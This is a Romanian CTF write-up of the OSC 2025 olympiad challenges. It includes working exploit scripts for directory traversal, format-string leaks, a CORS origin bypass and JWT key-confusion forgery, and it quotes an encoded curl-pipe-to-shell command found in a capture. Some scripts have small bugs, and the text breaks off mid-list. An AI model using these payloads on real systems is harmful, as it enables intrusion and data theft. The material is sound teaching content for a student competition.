Olimpiada de Securitate Cibernetica OSC 2025 - Rezolvări
Rezolvări pentru Olimpiada de Securitate Cibernetica OSC 2025 etapa județeană
Notă: Acest writeup conține soluțiile pentru provocările din etapa județeană a OSC 2025. Flag-urile prezentate sunt doar pentru referință și demonstrație.
Olimpiada de Securitate Cibernetica OSC 2025 - etapa județeană a avut loc pe data de 16 martie 2025. În cadrul acestei competiții elevii de liceu au avut posibilitatea să se testeze în cadrul unei competiții de hacking. Este prima oară când particip în această competiție în calitate de autor de subiecte.
- Rezolvări pentru Olimpiada de Securitate Cibernetica OSC 2025 etapa județeană
- biscuiti (Network)
- pawn-shop (Web)
- asmventure (Reverse Engineering)
- gold-bucket (Web/Cloud)
- lafayette (Misc)
- merchandise (Cryptography)
- mccrab (Web)
- montogamy (Pwn)
- flojail (Crypto)
- phantom-logger (Network/OSINT/Threat hunting)
- mlue (Network)
- silent-relay (Reverse Engineering/Network/Misc)
- Digital Dust - Unraveling (Steganography)
biscuiti (Network)
Descriere:
1
2
3
Biscuiții mei au prea multe calorii, așa că trebuie să îi împart în mai multe porții.
În această probă, aveți o captură PCAP, iar obiectivul este să recuperați un secret.
Această provocare a fost una dintre cele mai ușoare, având în vedere că aveam nevoie doar de a captura un secret de la un server HTTP.
Soluție:
1
2
# Capturăm pachetele HTTP
tshark -r task.pcap -Y "http.cookie" -T fields -e http.cookie | sort -t'=' -k2,2n | awk -F'; ' '{for (i=1; i<=NF; i++) if ($i ~ /^piece=/) print substr($i,7)}' | tr -d '\n'
=> Y3Rme2FkYTAwYmZkNDRhMTYxM2M3YWI5MzM0NTk3MGY5ZjYwMWNhMDYxYmE5NjFkYmFjZmVhMGViZDAxZGUzMTQzZjV9
Acest output a fost obținut prin capturarea pachetelor HTTP cu tshark
și filtrarea cookie-urilor. Apoi, am sortat cookie-urile după valoarea lor numerică și am extras valoarea cookie-ului care conține “piece=”. Pentru a obține flag-ul vom decoda cookie-ul din base64 pe platforma CyberChef: https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)&input=WTNSbWUyRmtZVEF3WW1aa05EUmhNVFl4TTJNM1lXSTVNek0wTlRrM01HWTVaall3TVdOaE1EWXhZbUU1TmpGa1ltRmpabVZoTUdWaVpEQXhaR1V6TVRRelpqVjk
Q1. Care este raspunsul corect? ctf{ada00bfd44a1613c7ab93345970f9f601ca061ba961dbacfea0ebd01de3143f5}
Q2. În contextul tehnicilor de exfiltrare a datelor într-o rețea, ce metodă este descrisă atunci când datele sensibile sunt împărțite în bucăți mici și transmise folosind câmpurile din antetele HTTP? HTTP Cookie Smuggling
pawn-shop (Web)
Descriere:
1
Se spune ca fericirea nu poate fi cumparata. Acesta este cazul si pentru acest magazin. Trebuie sa gasesti o vulnerabilitate in aceasta aplicatie si sa recuperezi secretul.
Această probă verifică abilitatea de a găsi vulnerabilități în aplicații web și de a exploata acestea. La prima vedere, aplicația este un “shop”, unde putem vedea produse.
Pentru rezolvare am folosit tool-ul Burp Suite
pentru a intercepta request-urile HTTP și am observat că există o vulnerabilitate.
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Mon, 17 Mar 2025 12:55:59 GMT
Content-Type: application/json
Content-Length: 33
Access-Control-Allow-Origin: https://bit-sentinel.com
Vary: Origin
Connection: close
{"error":"Unauthorized request"}
Când încercam să accesez pagina pentru flag, am primit un răspuns 403 Forbidden cu mesajul “Unauthorized request”. Se observă că serverul impune o restricție bazată pe Origin. În mod specific, serverul permite doar request-uri provenite din https://bit-sentinel.com. Aceasta sugerează o posibilă vulnerabilitate de CORS Misconfiguration sau Referer Header Bypass.
Soluție:
1
curl -X GET "http://34.159.64.84:30179/product/flag" -H "Origin: https://bit-sentinel.com"
Q1. Pentru ce este folosita metoda de control de access prezentata in challenge?: Pentru a facilita comunicarea dintre diferite domenii.
Q2. Care este raspunsul corect?: CTF{f6acf02ec7967731d60d0d1ccbf493d05164037c6baca60055cd71fa7501404f}
asmventure (Reverse Engineering)
Descriere:
1
You will receive a binary file. Try to find the flag inside.
Această provocare implică analizarea unui fișier binar pentru a descoperi flag-ul ascuns în el. Am folosit Angr, un framework puternic de analiză a executabilelor care utilizează execuție simbolică pentru a găsi calea către un mesaj de succes.
Soluție:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import angr
import sys
import claripy
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(50)]
initial_state = project.factory.entry_state(stdin=flag)
initial_state.add_constraints(flag_chars[0] == ord('O'))
initial_state.add_constraints(flag_chars[1] == ord('S'))
initial_state.add_constraints(flag_chars[2] == ord('C'))
initial_state.add_constraints(flag_chars[3] == ord('{'))
initial_state.add_constraints(flag_chars[4] == ord('r'))
initial_state.add_constraints(flag_chars[5] == ord('3'))
initial_state.add_constraints(flag_chars[6] == ord('v'))
initial_state.add_constraints(flag_chars[7] == ord('_'))
# Add constraints for printable ASCII characters for possible flag content
for i in range(8, 30):
# Constrain characters to printable ASCII (33-126) or a closing brace
initial_state.add_constraints(
claripy.Or(
claripy.And(flag_chars[i] >= 33, flag_chars[i] <= 126),
flag_chars[i] == ord('}')
)
)
# If we find a closing brace, constrain all following characters to be null or ASCII
for j in range(i+1, 30):
initial_state.add_constraints(
claripy.Or(
flag_chars[j] == 0,
claripy.And(flag_chars[j] >= 32, flag_chars[j] <= 126)
)
)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
# Successful print - căutam mesajul "felicitari!!"
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'felicitari!!' in stdout_output
simulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
solution_bytes = solution_state.posix.dumps(sys.stdin.fileno())
# Extract the flag by finding the closing brace
flag_str = ""
try:
# Convert to string and clean up
solution_str = solution_bytes.decode('utf-8', errors='ignore')
# Find the proper flag format
start = solution_str.find("OSC{")
if start >= 0:
end = solution_str.find("}", start)
if end >= 0:
flag_str = solution_str[start:end+1]
except:
pass
print("Raw solution:", solution_bytes)
if flag_str:
print("Extracted flag:", flag_str)
else:
raise Exception('Could not find the solution')
Flag: OSC{r3v_m4st3rz}
gold-bucket (Web/Cloud)
Descriere:
1
2
3
Într-o lume tot mai digitalizată, securitatea în cloud a devenit un aspect critic pentru companii și instituții care își migrează infrastructura și datele în medii cloud. Aceasta implică un set de politici, tehnologii și bune practici menite să protejeze datele, aplicațiile și serviciile stocate în cloud de acces neautorizat, atacuri cibernetice și pierderi de date.
Obiectivul este sa recuperezi un mesaj secret din serviciul de mai jos. Mult succes!
Această provocare implica accesarea unui bucket S3 în AWS pentru a obține flag-ul. Soluția a implicat asumarea unui rol prin AWS STS (Security Token Service) și utilizarea credențialelor temporare pentru a accesa bucket-ul S3 și a obține flag-ul.
Soluție:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Asumăm un rol în AWS folosind STS
aws sts assume-role \
--role-arn arn:aws:iam::011528296162:role/osc-golden-role \
--role-session-name s3hacker-session \
--tags Key=SessionName,Value=s3hacker-session
# Setăm credențialele temporare obținute
export AWS_ACCESS_KEY_ID=?
export AWS_SECRET_ACCESS_KEY=?
export AWS_SESSION_TOKEN=?
# Descărcăm flag-ul din bucket
aws s3 cp s3://osc-golden-bucket/flag.txt .
Flag: CTF{4e6ca26fb88149f73ddac3add64a796d32bb302e68a954dce346fd36472bd310}
lafayette (Misc)
Descriere:
1
Lafayette a fost un aristocrat francez și ofițer militar. Din cauza vârstei, a început să uite atacurile sale, așa că a creat un serviciu unde le putea stoca. Poți ajuta să recuperăm cel mai secret atac al său?
Provocarea implică o aplicație server Node.js vulnerabilă la un atac de tip directory traversal. Exploatând această vulnerabilitate, am putut citi fișierul flag.ctf de pe server.
Analiza:
- Aplicația oferă 3 opțiuni:
- Create attack (neimplementată)
- Get current attacks
- Quit
Din Dockerfile observăm că flag-ul se află în
/flag.ctf
- Codul verifică ID-ul introdus în două moduri:
1 2 3 4 5 6 7 8 9
if (id.includes("..") || id.includes("/")) { console.log("Why are you sneaky? Just because Lafayette was sneaky?"); showMainMenu(); return; } // Check if ID is part of attacks.json const attacks = loadAttacks(); const attack = attacks.attacks.find((attack) => eval(attack.regex).test(id));
- Observăm două verificări de securitate:
- Verifică dacă ID-ul conține “..” sau “/” folosind
includes()
- Verifică dacă ID-ul se potrivește cu un regex din attacks.json
- Verifică dacă ID-ul conține “..” sau “/” folosind
Soluție:
- Bypass pentru verificarea
includes()
:- Folosim un array în loc de string pentru ID
includes()
va verifica dacă array-ul conține elementul “..”, nu dacă conține caracterele “..”, nu verifică în adâncime.
- Bypass pentru verificarea regex:
- Unul din atacuri folosește regex-ul
/^4+$/m
- Flag-ul
m
face regex-ul să fie multiline - Putem crea un payload cu o linie conținând “4” și alta linie cu ce vrem noi
- Putem crea linii noi folosind
\u000a
sau\n
în JSON
- Unul din atacuri folosește regex-ul
- Bypass pentru extensia
.txt
:- Codul adaugă
.txt
la ID - Flag-ul este în
/flag.ctf
- Codul folosește
strip()
pentru a lua doar primele 50 de caractere - Putem face payload-ul suficient de lung pentru a “elimina” extensia
.txt
- Codul adaugă
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
from pwn import *
context.log_level = "debug"
def exploit():
p = remote("localhost", 4444)
p.recvuntil("Enter your choice: ")
# Selectăm opțiunea de a vizualiza detaliile unui atac
p.sendline("2")
p.recvuntil("Enter attack ID to view details: ")
# Construim payload-ul care exploatează vulnerabilitatea de directory traversal
payload = '["444444444444444444444444444444444444444444444\\n../../../../../../../../../../../../../../../../../flag.ctf"]'
log.info("Sending payload: " + payload)
p.sendline(payload)
# Primim răspunsul care ar trebui să conțină flag-ul
data = p.recv(timeout=2)
print(data.decode())
# Menținem conexiunea interactivă
p.interactive()
Flag: CTF{0834a9094bfb34aa45759c9f887d183c0e5e0386ae702e89cadf66766bf6054a}
merchandise (Cryptography)
Descriere:
1
The Merchant of DOOM era un traficant de arme notoriu, care prospera prin rețele complexe și logistică avansată. Își codifica tranzacțiile într-un mod unic, folosind vectori pentru a-și ascunde afacerile. Poți descifra operațiunile sale secrete și descoperi înțelegerile ascunse?
Provocarea implică un server Sage care cere un vector B cu 3 numere întregi, pentru simplitate eu am ales vectorul B = [0, 0, 1], baza canonică în spațiu vectorial \(R^3\). Serverul calculează produsul vectorial (cross product) între un vector A secret și vectorul B furnizat de noi, apoi folosește un hash al produsului vectorial pentru a genera o cheie de criptare AES pentru flag.
Soluție:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from Crypto.Cipher import AES
from hashlib import sha256
import socket
import re
import time
def decrypt_flag(key, encrypted_flag_hex):
# Convert from hex to bytes
encrypted_flag = bytes.fromhex(encrypted_flag_hex)
# Decrypt
cipher = AES.new(key, AES.MODE_ECB)
padded_flag = cipher.decrypt(encrypted_flag)
# Remove padding
pad_len = padded_flag[-1]
flag = padded_flag[:-pad_len]
return flag
def recvall(sock, timeout=2):
# Set a timeout so we don't wait forever
sock.settimeout(timeout)
data = b''
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
# Small delay to check if more data is coming
time.sleep(0.1)
except socket.timeout:
pass # This is expected
return data.decode('utf-8', errors='ignore')
def solve():
# Connect to the service
HOST = 'localhost' # Schimbă cu hostul real unde rulează serviciul
PORT = 4141 # Portul din Dockerfile
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
# Read initial prompt
initial_data = recvall(s)
# Trimitem vectorul B
# Folosim B = [0, 0, 1] pentru a crea un produs vectorial unde:
# cP[0] = A[1], cP[1] = -A[0], cP[2] = 0
# Acest vector funcționează indiferent de valorile lui A
B = "0 0 1"
s.sendall((B + "\n").encode())
# Primim răspunsul
full_response = recvall(s)
# Extragem produsul vectorial din output-ul de debug
cp_match = re.search(r"DEBUG cP: (.*?)(?:\n|$)", full_response)
if cp_match:
cp_str = cp_match.group(1)
# Generăm cheia de criptare din hash-ul SHA-256 al produsului vectorial
encryption_key = sha256(str(cp_str).encode()).digest()
# Extragem flag-ul criptat
encrypted_flag_match = re.search(r"jumbled up prize: ([0-9a-f]+)", full_response)
if encrypted_flag_match:
encrypted_flag_hex = encrypted_flag_match.group(1)
# Decriptăm flag-ul
flag = decrypt_flag(encryption_key, encrypted_flag_hex)
print(f"Flag: {flag.decode()}")
except Exception as e:
print(f"Error: {e}")
Flag: CTF{76b6e66355e0ae005021842c8082b9f3595aa04c7d574567ca73a37db5d1f790}
mccrab (Web)
Descriere:
1
2
3
4
5
6
7
8
9
Recent, m-am întâlnit cu Ferris, crab-ul. Mi-a spus că organizează o petrecere rave. De fapt, organizează crabrave! Acum, dacă citești acest mesaj, probabil că NU ești un crab. Dar poți totuși să te alături petrecerii! Oamenii care sunt foarte bogați în moneda crabilor pot cumpăra un bilet (adică flag-ul) și se pot alătura distracției. Găsește flag-ul și vino la crabrave!
PS: S-ar putea să fie nevoie să te "oxidezi" puțin...
PS2: Daca incerci sa pornesti dockerul local, arhiva are nevoie de acest .env
TEMPLATES_PATH=/app/views
STATIC_PATH=/app/static
DB_FILE=/app/database.db
Analiza:
- Flag-ul este stocat în baza de date la inițializare:
1 2 3 4 5 6 7 8 9 10 11 12 13
conn.execute( "INSERT OR IGNORE INTO products (name, description, icon, price, product_data) VALUES ..., ('Crab Flag', \"Don't worry about this one\", 'crab_flag.png', 1337, ?1)", params![ fs::read_to_string("/mnt/flags/flags.txt") .and_then(|flag| { fs::remove_file("/mnt/flags/flags.txt").unwrap_or_default(); Ok(flag) }) .unwrap_or("OSC{fake_flag}".to_string()) ], )?;
- Pentru a obține flag-ul, trebuie să:
- Avem un balance de minim 1337
- Username-ul trebuie să fie “KingCrab”
- Trebuie să cumpărăm produsul cu ID-ul 6 (flag-ul)
- Autentificarea se bazează pe un sistem JWT custom:
- Cookie-ul este semnat folosind algoritmul SM2 (curbă eliptică)
- Se folosește un salt unic:
b"McOSC"
XOR cu datele și înmulțit cu 1337
- Vulnerabilitatea:
- În
cuchi_verify
există două tipuri de verificare a semnăturii:- CRABCURVE: folosește SM2
- CRABRAVE: folosește ChaCha20
- În cazul CRABRAVE, se folosește cheia publică pentru verificare în loc de cheia privată (Key confusion)
- Cheia publică este accesibilă prin ruta
/static
- În
Soluție:
Descărcăm cheia publică de la
/static/public-key.pem
Creăm un program Rust pentru a genera cookie-ul dorit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
use smcrypto::sm2;
use serde_json::json;
use base64::{engine::general_purpose::STANDARD_NO_PAD, Engine as _};
use chacha20poly1305::{
aead::{
Aead,
generic_array::GenericArray
}, ChaCha20Poly1305, Key, KeyInit, Nonce
};
use sha2::{Sha256, Digest};
fn main() {
let header = json!({
"alg": "CRABRAVE",
"typ": "JWT"
});
let payload = json!({
"id": 1,
"username": "KingCrab",
"balance": 1000000
});
let salted_data = payload.to_string().as_bytes()
.iter()
.zip(
b"McOSC"
.iter()
.cycle()
)
.map(|(a, b)| ((a ^ b) as i32 * 1337) as u8)
.collect::<Vec<u8>>();
let kp = sm2::pubkey_from_pem_file("public-key.pem");
let k: &Key = GenericArray::from_slice(kp.as_bytes()[..32].as_ref());
let chacha_ctx = ChaCha20Poly1305::new(k);
let daigest = Sha256::digest(&salted_data);
let nonce = Nonce::from_slice(
&daigest.as_slice()[..12]
);
let encrypted = chacha_ctx.encrypt(&nonce, salted_data.as_slice()).unwrap();
let jwt = format!(
"{}.{}.{}",
STANDARD_NO_PAD.encode(&header.to_string().as_bytes()),
STANDARD_NO_PAD.encode(&payload.to_string().as_bytes()),
STANDARD_NO_PAD.encode(&encrypted)
);
println!("{}", jwt);
}
- Dependențe necesare în
Cargo.toml
:
1
2
3
4
5
6
7
8
base64 = "0.22.1"
chacha20poly1305 = "0.10.1"
hex = "0.4.3"
lazy_static = "1.5.0"
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0.125"
sha2 = "0.10.8"
smcrypto = "0.3.1"
- Folosim cookie-ul generat pentru a cumpăra flag-ul:
1 2 3 4
GET /buy?id=6 HTTP/1.1 Host: 0.0.0.0:1337 Cookie: crab_token=<token-ul generat> Connection: keep-alive
Flag: OSC{fake_flag}
montogamy (Pwn)
Descriere:
1
2
3
E prima data cand ai un contact cu o proba de pwn? Acest exercitiu s-ar putea sa fie pentru tine.
PS: Acest serviciu merge cu netcat.
Această provocare implică o vulnerabilitate de tip format string într-un program. Exploatăm această vulnerabilitate pentru a extrage informații din memoria programului.
Soluție:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
ip = "?" # IP-ul serverului
port = "?" # Portul serverului
r = remote(ip, port)
def main():
r.recvuntil('Enter your input: ')
# Format string printf pentru a prelua date din stivă
payload = b'%lx' * 100
r.sendline(payload)
msg = r.recvall().strip().split(b'\n')[-1]
if msg.startswith(b"b'") and msg.endswith(b"'"):
msg = msg[2:-1]
msg_str = msg.decode()
flag_hex = ""
# Convertim șirul hexadecimal în caractere
for i in range(0, len(msg_str), 2):
try:
char = bytes.fromhex(msg_str[i:i+2]).decode('ascii')
flag_hex += char
except:
flag_hex += '.'
print(flag_hex)
# Inversăm ordinea octeților pentru a obține flag-ul corect
flag_hex = [flag_hex[i:i+4] for i in range(0, len(flag_hex), 4)]
flag_hex = [i[::-1] for i in flag_hex]
flag_hex = ''.join(flag_hex)
print(flag_hex)
if __name__ == '__main__':
main()
Q1. Care este raspunsul corect? : CTF{fake_flag}
, flag-uri sunt dinamice.
Q2. Care dintre următoarele funcții poate fi vulnerabilă la un format string attack? printf
flojail (Crypto)
Descriere:
1
Crezi că poți rezolva o ecuație matematică? Cred că ar trebui să încerci aceasta.
Aceasta este problema propusa de mine in cadrul concursului OSC 2025. Problema implică manipularea reprezentării în virgulă mobilă IEEE-754 și găsirea unui număr specific care satisface anumite condiții matematice.
Examinând fișierul chall.py
, observăm următoarele aspecte cheie:
- Avem o valoare secretă
n
care trebuie găsită - Se folosește constanta
pi
din modululmath
- Există următoarele constrângeri pentru
n
:- Este un număr întreg (int)
- Este în intervalul (2^40, 2^50)
- Este impar
- Satisface condiția
pi % (pi/n) == 0
- Se calculează hash-ul SHA256 al lui
n
convertit în bytes - Hash-ul țintă este:
245d4f6a2ef061ca778a0bdfc0f28eafa36d73a139376d836486d18e402d29dc
Soluție:
Pașii cheie ai soluției:
- Extragem mantisa lui pi din reprezentarea sa IEEE-754
- Factorizăm mantisa pentru a găsi posibilele valori ale lui n
- Verificăm care dintre aceste valori satisfac toate condițiile
- Testăm hash-ul pentru valorile candidate
Am folosit SageMath pentru a rezolva problema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
import struct
def float_to_bits(f):
return struct.unpack(">Q", struct.pack(">d", f))[0]
def bits_to_float(b):
return struct.unpack(">d", struct.pack(">Q", b))[0]
def calc(x, n):
x_bits = float_to_bits(x)
y_bits = float_to_bits(n)
x_mantissa = x_bits & ((1 << 52) - 1) | (1 << 52)
y_mantissa = y_bits & ((1 << 52) - 1) | (1 << 52)
print(x_mantissa, y_mantissa)
result_exponent = ((x_bits >> 52) & 0x7FF) - ((y_bits >> 52) & 0x7FF) + (y_bits >> 52) & 0x7FF
result_mantissa = ((x_mantissa << 52) // y_mantissa * y_mantissa) >> 52
result_bits = (result_exponent << 52) | (result_mantissa & ((1 << 52) - 1))
print(result_bits)
return bits_to_float(result_bits)
from math import pi
from sage.all import factor, prod
from itertools import product
x = pi
x_bits = float_to_bits(x)
x_mantissa = x_bits & ((1 << 52) - 1) | (1 << 52)
factors = factor(x_mantissa)
d = [prod(item) for item in product(*[[p**k for k in range(e+1)] for p,e in factors])]
d = sorted(d)
correct = [f for f in d if (2**40 < f < 2**50 and f%2 == 1)]
for n in correct:
p1 = x % (x/n)
c1 = x - calc(x, n)
if sha256(long_to_bytes(n)).hexdigest() == "245d4f6a2ef061ca778a0bdfc0f28eafa36d73a139376d836486d18e402d29dc":
print("Found n:", n)
break
phantom-logger (Network/OSINT/Threat hunting)
Descriere:
1
2
Un serviciu obișnuit de jurnalizare web funcționează în fundal, colectând șirurile de User-Agent din cererile primite.
Totuși, în spatele aparențelor, ceva nu este în regulă – există suspiciuni privind o portiță de acces ascunsă.
Soluție:
Am început să mă uit prin pachetele din fișier și am reușit să găsesc un mesaj encodat la secțiunea User-agent
. M-am folosit de tshark
pentru a căuta în tot fișierul mai multe mesaje encodate:
1
tshark -r capture.pcap -Y http.request -T fields -e http.user_agent
Folosind această comandă am observat un string special 3VybCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vSGFja2VyMzk1LUFMVC1GNC9VcGxvYWRlZF9maWxlcy9yZWZzL2hlYWRzL21haW4vZXhmaWxzaC5zaCB8IHNo
. L-am pus pe CyberChef și am primit un link de GitHub.
Din categoria challenge-ului mi-am dat seama că trebuie să fac OSINT pe autorul acestui proiect. Am găsit acest commit unde am înțeles că trebuie să XOR-am toate numerele unde apare DNS-ul rocsc.ro
.
https://github.com/Hacker395-ALT-F4/Uploaded_files/commit/54bda9536f3a3b99a05aa4ad060cbe30c05d03cc
Din nou m-am folosit de tshark
:
1
tshark -r input_file.pcapng -Y dns -T fields -e dns.qry.name -e dns.resp.name | grep 'rocsc.ro' > fisier.txt
Am mai extras doar numerele din fișier cu:
1
awk -F'.' '!seen[$1]++ {print $1}' fisier.txt > fisier.txt
și am pus numerele pe CyberChef și am găsit flag-ul.
Q1. Ce se întâmplă atunci când un client face o cerere DNS pentru un nume de domeniu pe care nu l-a mai rezolvat recent?: Clientul verifică mai întâi cache-ul său local și, dacă nu găsește o intrare validă, transmite cererea către un resolver DNS.
Q2. Identifică datele exfiltrate: CTF{b19697af5a6a848037a571ab3eb5dd7b0fd2ab914c598fdcb1152a5ae5d64982}
mlue (Network)
Descriere:
1
În urma unui atac cibernetic, a fost obținut fișierul mlue.pcapng pentru investigație. Analizează fișierul și răspunde la următoarele întrebări.
Această provocare implică analiza unui fișier PCAPNG pentru a gasi numele malware-ului care rulează pe stația compromisă,IP-ul si port-ul pentru serverul de C2 și Ce comanda a fost executata pe serverul de C2, pentru a exfiltra date.
Solutie
Pentru inceput am studiat pachetele fisierului pe care le-am primit. Spre final am reusit sa gasesc ceva interesant in fluxul TCP cu ID-ul 9 asa ca am filtrat pachetele folosind comanda tcp.stream eq 9
.
Urmarind acest stream am reusit sa gasesc raspunsul intrebarii a 3-a: ps
Aceasta comanda afiseaza procesele active ale utilizatorului. A fost usor sa imi dau seama ca in campul user
trebuie sa fie darius
pentru a gasi numele malware-ului. Am scrollat mai jos si am inceput sa gasesc procesele utilizatorului pe care il cautam. Acolo am si gasit raspunsul primei intrebari: mblue-lockerV1
Pentru aflarea ultimului raspuns m-am folosit de site-ul 🔍 Online pcap files viewer for analyze HTTP, DNS, other network traffic . Aici am incarcat fisierul mlue.pcapng
si deschizand sectiunea Open Ports on Network Nodes
am gasit mai multe IP-uri si PORT-uri insa doar unul era ciudat,acesta s-a dovedit sa fie si raspunsul: 127.0.0.1:9001
silent-relay (Reverse Engineering/Network/Misc)
Descriere:
1
Am găsit acest binar care generează un trafic suspect. Poți să îl investighezi? Ai la dispoziție atât fișierul bin cât și o captură PCAP.
Solutie Analizând fișierul .bin
am putut observa că bazat pe valoarea caracterelor 0x30 = '0'
si 0 x31 = '1'
este un pattern al delay-urilor: ‘0’ → usleep(100000) (100ms) ‘1’ → usleep(500000) (500ms) . Folsindu-mă de tshark
am reusit sa extrag aceste delay-uri din fisierul PCAPNG:
tshark -r yourfile.pcapng -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" -T fields -e frame.time_epoch > syn_times.txt
Acum ca am extras timestamp-urile din fisierul PCAPNG trebuie sa le prelucram pentru a avea datele in formatul de care avem nevoie:
awk 'NR>1 {print $1-prev} {prev=$1}' syn_times.txt
Pentru a termina challange-ul trebuie sa transformam intervalele cum am spus mai sus, 0.500 → 1
si 0.100 → 0
. Script-ul transforma delay-urile in cod binar apoi in text.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
intervals = [
0.100197, 0.500317, 0.500158, 0.100276, 0.100251, 0.10059, 0.500554, 0.500226,
0.100139, 0.500232, 0.500194, 0.500318, 0.10019, 0.500388, 0.10051, 0.100179,
0.100403, 0.50018, 0.500635, 0.100533, 0.100267, 0.500577, 0.500281, 0.100148,
0.100131, 0.500473, 0.500448, 0.500196, 0.500398, 0.100232, 0.500622, 0.500721,
0.100249, 0.50069, 0.500712, 0.100214, 0.10069, 0.100567, 0.500345, 0.100257,
0.100287, 0.500694, 0.500246, 0.100799, 0.10021, 0.100408, 0.100668, 0.500509,
0.100446, 0.500534, 0.500616, 0.100484, 0.100257, 0.500669, 0.50065, 0.100704,
0.100408, 0.100483, 0.500711, 0.500268, 0.500674, 0.100205, 0.100626, 0.500431,
0.100516, 0.500669, 0.500486, 0.100407, 0.100213, 0.500636, 0.10032, 0.500238,
0.100597, 0.500188, 0.500316, 0.100655, 0.100836, 0.500479, 0.100235, 0.500764,
0.100835, 0.500605, 0.500196, 0.10017, 0.100396, 0.100546, 0.500738, 0.500614,
0.100224, 0.50054, 0.500382, 0.10019, 0.100636, 0.100476, 0.500429, 0.100596,
0.100621, 0.500549, 0.500768, 0.1004, 0.100613, 0.500449, 0.500514, 0.100462,
0.100164, 0.500231, 0.500674, 0.100764, 0.100468, 0.500607, 0.500529, 0.100816,
0.100395, 0.100713, 0.50078, 0.500602, 0.100225, 0.100438, 0.500594, 0.500365,
0.100714, 0.100435, 0.500636, 0.500562, 0.100497, 0.100706, 0.100577, 0.500156,
0.10027, 0.500651, 0.500245, 0.100555, 0.10063, 0.500724, 0.10047, 0.500608,
0.100731, 0.100284, 0.500443, 0.500623, 0.10031, 0.100551, 0.500623, 0.500692,
0.10071, 0.500407, 0.500699, 0.100703, 0.10107, 0.500736, 0.100656, 0.100187,
0.100245, 0.100451, 0.500602, 0.500573, 0.100543, 0.100208, 0.100387, 0.100439,
0.100258, 0.500186, 0.500904, 0.100713, 0.10028, 0.500486, 0.500427, 0.100217,
0.100802, 0.500302, 0.500185, 0.100362, 0.100415, 0.100497, 0.50057, 0.500177,
0.100499, 0.500398, 0.500358, 0.100164, 0.100935, 0.500262, 0.100608, 0.100241,
0.100431, 0.50044, 0.500258, 0.100301, 0.100335, 0.500355, 0.500464, 0.100339,
0.100222, 0.100643, 0.500401, 0.50045, 0.500637, 0.100626, 0.100194, 0.500389,
0.10017, 0.500183, 0.50075, 0.100556, 0.100599, 0.500448, 0.100207, 0.100351,
0.100174, 0.500174, 0.500398, 0.100497, 0.100671, 0.101203, 0.500231, 0.500279,
0.100341, 0.100224, 0.500379, 0.500251, 0.500444, 0.100674, 0.10018, 0.100438,
0.100242, 0.100247, 0.50072, 0.50081, 0.100677, 0.100546, 0.500233, 0.100697,
0.100667, 0.100609, 0.500658, 0.50028, 0.100452, 0.100558, 0.100138, 0.100252,
0.100202, 0.500339, 0.500489, 0.10039, 0.100278, 0.500336, 0.100431, 0.100182,
0.100576, 0.10053, 0.50053, 0.500301, 0.100323, 0.500229, 0.500721, 0.100486,
0.10046, 0.100313, 0.500634, 0.50022, 0.100492, 0.500522, 0.500236, 0.500379,
0.100274, 0.10049, 0.500691, 0.500403, 0.100859, 0.100299, 0.500654, 0.50061,
0.100253, 0.10041, 0.500234, 0.500654, 0.10064, 0.500589, 0.100381, 0.500671,
0.10046, 0.100258, 0.500168, 0.500513, 0.500505, 0.100877, 0.100273, 0.500462,
0.100492, 0.100544, 0.500255, 0.500193, 0.100483, 0.500522, 0.100266, 0.100421,
0.10022, 0.100227, 0.500218, 0.500448, 0.100658, 0.100555, 0.500669, 0.100523,
0.100363, 0.100565, 0.500507, 0.500194, 0.100456, 0.500182, 0.500407, 0.100499,
0.10058, 0.100199, 0.500535, 0.50036, 0.100158, 0.100208, 0.100408, 0.500313,
0.100282, 0.100207, 0.500473, 0.500566, 0.100193, 0.100563, 0.100518, 0.500548,
0.100446, 0.100244, 0.500149, 0.500171, 0.100388, 0.100277, 0.100626, 0.100742,
0.100222, 0.100566, 0.500247, 0.500619, 0.100804, 0.100543, 0.100431, 0.100489,
0.10044, 0.500312, 0.500209, 0.100593, 0.100406, 0.100472, 0.500179, 0.100472,
0.100347, 0.10064, 0.500507, 0.500357, 0.100382, 0.100623, 0.100152, 0.100695,
